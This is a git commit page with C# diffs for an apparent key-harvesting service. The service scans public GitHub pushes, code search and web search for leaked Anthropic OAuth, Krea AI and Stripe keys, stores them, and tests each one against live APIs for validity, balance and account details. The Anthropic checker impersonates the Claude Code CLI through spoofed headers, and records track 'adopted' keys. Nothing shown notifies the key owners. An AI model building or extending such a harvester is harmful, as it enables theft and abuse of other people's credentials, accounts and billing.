feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking

Backend:
- Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name})
- DatabaseService: public GetConnection() Methode
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details
- AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance
- KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4
- ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen
- ServerSettingsEndpoint: string_array Speichern (Array/CSV)
- KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking
- GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung

Frontend:
- Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header
- Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons)
- API Keys: adoptedApiKeyId Fix (leerer String == null)
- Dashboard: DB-Explorer Link für Admins
- Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter
This commit is contained in:
Meleki committed 2026-03-14 16:19:13 +01:00
1 parent 3cd35ebbfa
commit e61f3ef082
15 files changed
+642 -33

No files matched your search

+22 -5
View File
@@ -42,12 +42,20 @@ namespace Gott.Services
});
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
var isOAuth = apiKey.StartsWith("sk-ant-oat01-", StringComparison.OrdinalIgnoreCase);
if (isOAuth)
{
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20");
request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)");
request.Headers.Add("x-app", "cli");
request.Headers.Add("anthropic-dangerous-direct-browser-access", "true");
}
else
{
request.Headers.Add("x-api-key", apiKey);
}
request.Headers.Add("anthropic-version", "2023-06-01");
request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20");
request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)");
request.Headers.Add("x-app", "cli");
request.Headers.Add("anthropic-dangerous-direct-browser-access", "true");
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
var resp = await client.SendAsync(request);
@@ -69,6 +77,15 @@ namespace Gott.Services
{
return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
}
else if (statusCode == 400)
{
var body400 = await resp.Content.ReadAsStringAsync();
if (body400.Contains("credit balance", StringComparison.OrdinalIgnoreCase))
return new KeyCheckResult { Status = "billing_not_active", Message = "Gültig, aber kein Guthaben (credit balance too low)", Plan = "API Console" };
if (body400.Contains("billing", StringComparison.OrdinalIgnoreCase) || body400.Contains("payment", StringComparison.OrdinalIgnoreCase))
return new KeyCheckResult { Status = "billing_not_active", Message = "Gültig, aber Billing-Problem (400)", Plan = "API Console" };
return new KeyCheckResult { Status = "error", Message = $"API-Fehler (400): {(body400.Length > 200 ? body400.Substring(0, 200) : body400)}", Plan = "Unknown" };
}
else if (statusCode >= 400)
{
return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
+2
View File
@@ -29,6 +29,8 @@ public partial class DatabaseService
return conn;
}
public SqliteConnection GetConnection() => CreateConnection();
private void InitializeDatabase()
{
using var conn = CreateConnection();
+15 -14
View File
@@ -190,7 +190,7 @@ public class GitHubEventScannerService : BackgroundService
AddLog("poll", events.Count + " Events, " + pushEvents.Count + " neue PushEvents → " + toScan.Count + " scannen");
// Head-Commit-Diffs scannen
var newKeysFound = 0;
var newKeyIds = new List<string>();
var scannedCount = 0;
foreach (var pe in toScan)
{
@@ -213,10 +213,11 @@ public class GitHubEventScannerService : BackgroundService
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
var keyId = Guid.NewGuid().ToString("N");
newKeyIds.Add(keyId);
await _db.CreateScannedKey(new ScannedKeyRecord
{
ScannedKeyId = Guid.NewGuid().ToString("N"),
ScannedKeyId = keyId,
ApiKey = key,
Source = "github_events",
SourceUrl = sourceUrl,
@@ -258,15 +259,15 @@ public class GitHubEventScannerService : BackgroundService
}
}
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeysFound + " neue Keys");
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeyIds.Count + " neue Keys");
if (newKeysFound > 0)
if (newKeyIds.Count > 0)
{
lock (_lock) _keysFoundTotal += newKeysFound;
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeysFound);
lock (_lock) _keysFoundTotal += newKeyIds.Count;
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeyIds.Count);
// Neue Keys sofort prüfen
await CheckNewKeys(ct);
// Nur die gerade gefundenen Keys prüfen (nicht alle unchecked!)
await CheckNewKeys(newKeyIds, ct);
}
return events.Count;
@@ -393,15 +394,15 @@ public class GitHubEventScannerService : BackgroundService
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
}
/// <summary>Prüft alle unchecked Keys sofort nach Fund.</summary>
private async Task CheckNewKeys(CancellationToken ct)
/// <summary>Prüft nur die gerade im aktuellen Poll gefundenen Keys.</summary>
private async Task CheckNewKeys(List<string> keyIds, CancellationToken ct)
{
try
{
var allScanned = (await _db.GetScannedKeys()).ToList();
var unchecked_ = allScanned.Where(k => k.Status == "unchecked").ToList();
var toCheck = allScanned.Where(k => keyIds.Contains(k.ScannedKeyId)).ToList();
foreach (var sk in unchecked_)
foreach (var sk in toCheck)
{
ct.ThrowIfCancellationRequested();
var type = KeyPatterns.DetectType(sk.ApiKey);
@@ -437,7 +438,7 @@ public class GitHubEventScannerService : BackgroundService
}
else
{
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
AddLog("key_checked", $"💾 {typeName} gespeichert (kein Checker verfügbar, bleibt unchecked) · {keyPrefix}");
}
}
catch (Exception ex)
+3
View File
@@ -67,6 +67,9 @@ public static class KeyPatterns
.Select(p => new Regex(p.Pattern, RegexOptions.Compiled))
.ToArray();
/// <summary>Alle verfügbaren Key-Typ-IDs (für Settings).</summary>
public static readonly string[] AllTypes = All.Select(p => p.Type).Distinct().ToArray();
/// <summary>Erkennt den Key-Typ anhand des Prefixes.</summary>
public static string DetectType(string key)
{
+26 -12
View File
@@ -77,10 +77,20 @@ public class KeyScannerService : BackgroundService
// ── GitHub Search Config ──
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch;
// Alle Patterns für Regex-Matching im Dateiinhalt
private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled;
/// <summary>Gibt die aktiven Search-Patterns zurück, gefiltert nach ScannerKeyTypes-Setting.</summary>
private (string Pattern, string SearchTerm, string Type)[] GetActiveSearchPatterns()
{
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
if (allowed.Count == 0) return Array.Empty<(string, string, string)>();
return KeyPatterns.ForCodeSearch.Where(p => allowed.Contains(p.Type)).ToArray();
}
/// <summary>Prüft ob ein Key-Typ in den aktiven Scanner-Typen enthalten ist.</summary>
private bool IsKeyTypeAllowed(string type)
{
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
return allowed.Contains(type);
}
private static readonly string[] SearchLanguages =
{
@@ -229,10 +239,11 @@ public class KeyScannerService : BackgroundService
saveIdx++;
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
if (!seen.Add(key)) continue;
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
var keyType = DetectKeyType(key);
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
@@ -300,8 +311,9 @@ public class KeyScannerService : BackgroundService
{
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
var queries = new List<(string Query, Regex Regex)>();
var activePatterns = GetActiveSearchPatterns();
foreach (var (pattern, searchTerm, _) in SearchPatterns)
foreach (var (pattern, searchTerm, _) in activePatterns)
{
var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in QuickLanguages)
@@ -493,10 +505,11 @@ public class KeyScannerService : BackgroundService
return keys;
}
private static List<(string Query, Regex Regex)> BuildSearchQueries()
private List<(string Query, Regex Regex)> BuildSearchQueries()
{
var queries = new List<(string, Regex)>();
foreach (var (pattern, searchTerm, _) in SearchPatterns)
var activePatterns = GetActiveSearchPatterns();
foreach (var (pattern, searchTerm, _) in activePatterns)
{
var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in SearchLanguages)
@@ -525,12 +538,13 @@ public class KeyScannerService : BackgroundService
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
var client = _httpFactory.CreateClient();
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
var activePatterns = GetActiveSearchPatterns();
for (int i = 0; i < SearchPatterns.Length; i++)
for (int i = 0; i < activePatterns.Length; i++)
{
var (pattern, searchTerm, _) = SearchPatterns[i];
var (pattern, searchTerm, _) = activePatterns[i];
ct.ThrowIfCancellationRequested();
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length);
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, activePatterns.Length);
var regex = new Regex(pattern, RegexOptions.Compiled);
try
+30
View File
@@ -1,6 +1,7 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text.Json;
using System.Text.Json.Nodes;
using Microsoft.Data.Sqlite;
@@ -34,6 +35,7 @@ public class ServerSettingsService
new SettingDefinition( "SerperApiKey", "string", "", "Serper.dev API-Key für Google-Suche (Key-Scanner + Tool)", "password" ),
new SettingDefinition( "ScanIntervalHours", "int", "0", "Key-Scanner Intervall in Stunden (0 = nur manuell)", "number" ),
new SettingDefinition( "GitHubEventScanner", "bool", "false", "GitHub Event Scanner (Echtzeit-Monitoring öffentlicher Pushes)", "toggle" ),
new SettingDefinition( "ScannerKeyTypes", "string_array", "anthropic_oauth,krea_ai", "Key-Scanner: Aktive Key-Typen", "checkboxes" ),
};
public ServerSettingsService(string dbPath)
@@ -181,6 +183,23 @@ public class ServerSettingsService
public void SetInt(string key, int value) => Set(key, value.ToString());
public void SetBool(string key, bool value) => Set(key, value ? "true" : "false");
public string[] GetStringArray(string key, string defaultCsv = "")
{
var raw = Get(key, null);
if (raw == null)
{
var def = Definitions.Find(d => d.Key == key);
raw = def?.DefaultValue ?? defaultCsv;
}
if (string.IsNullOrWhiteSpace(raw)) return Array.Empty<string>();
return raw.Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries);
}
public void SetStringArray(string key, string[] values)
{
Set(key, string.Join(",", values ?? Array.Empty<string>()));
}
// ─── Bulk-Operationen (für Endpoint) ───────────────────────
public List<object> GetAll()
@@ -197,11 +216,21 @@ public class ServerSettingsService
case "bool":
value = GetBool(def.Key, def.DefaultValue.Equals("true", StringComparison.OrdinalIgnoreCase));
break;
case "string_array":
value = GetStringArray(def.Key, def.DefaultValue);
break;
default:
value = Get(def.Key, def.DefaultValue);
break;
}
// Zusatz-Metadaten für bestimmte Settings
object options = null;
if (def.Key == "ScannerKeyTypes")
{
options = KeyPatterns.AllTypes.Select(t => new { id = t, name = KeyPatterns.DisplayName(t) }).ToArray();
}
result.Add(new
{
key = def.Key,
@@ -209,6 +238,7 @@ public class ServerSettingsService
value = value,
label = def.Label,
inputType = def.InputType,
options = options,
});
}
return result;